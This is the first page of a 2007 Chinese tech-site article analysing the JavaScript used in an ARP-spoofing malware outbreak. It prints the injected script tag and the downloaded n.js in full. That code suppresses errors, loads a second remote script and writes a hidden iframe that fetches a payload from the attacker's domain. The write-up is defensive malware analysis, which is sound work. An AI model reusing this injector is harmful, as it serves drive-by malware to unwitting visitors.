分析：arp病毒利用的Javascript技术

日期：2007年8月8日作者：查看:[大字体中字体小字体]

本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！

现象：

打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视msn.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；

来源：

经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；

分析：

1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：

    document.writeln("<script>window.onerror=function(){return true;}<\/script>");
    document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
    document.writeln("<script>");
    document.writeln("function StartRun(){");
    document.writeln("var Then = new Date() ");
    document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
    document.writeln("var cookieString = new String(document.cookie)");
    document.writeln("var cookieHeader = \"Cookie1=\" ");
    document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
    document.writeln("if (beginPosition != -1){ ");
    document.writeln("} else ");
    document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
    document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
    document.writeln("}");
    document.writeln("}");
    document.writeln("StartRun();");
[1] [2] [3] [4] [5] [6] [7] [8] [9] 下一页
分析：arp病毒利用的Javascript技术相关文章：
·危机重重 2007年度网络安全分析报告
·诊断和分析提高搜索引擎网站排名
·简单分析2007年11月十大网络安全漏洞
·简单分析Script脚本跨站攻击漏洞技术
·深入分析Windows操作系统死机问题
·用AutoCAD五分钟内完成三维足球建模
·详细分析操作系统死机的问题
·分析Windows操作系统死机问题
·分析解决显卡常见故障
·多方面分析选择商业网站的域名
分析：arp病毒利用的Javascript技术相关软件
·《细胞分裂：双重间谍》简体中文教学版试玩
·SK魔兽录像分析器 V1.4 Beta 3
·《蜘蛛侠：敌友难分》火爆试玩
·复旦往事--半世纪中国知识分子生活
·《股票常识与技术分析》
·大败笔:34个最新的营销失败案例分析
·世界劫难印度洋海啸（部分图片）
·分手后霪乱
·短信合集一(5000多条分类短信)
·周六艾那姆的分享课

上一篇:设计理论：微软设计主管一些经验分享

下一篇:巧用改变跟踪技术加速Oracle的递增备份

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

分析：arp病毒利用的Javascript技术

精品推荐

热点TOP10

特别推荐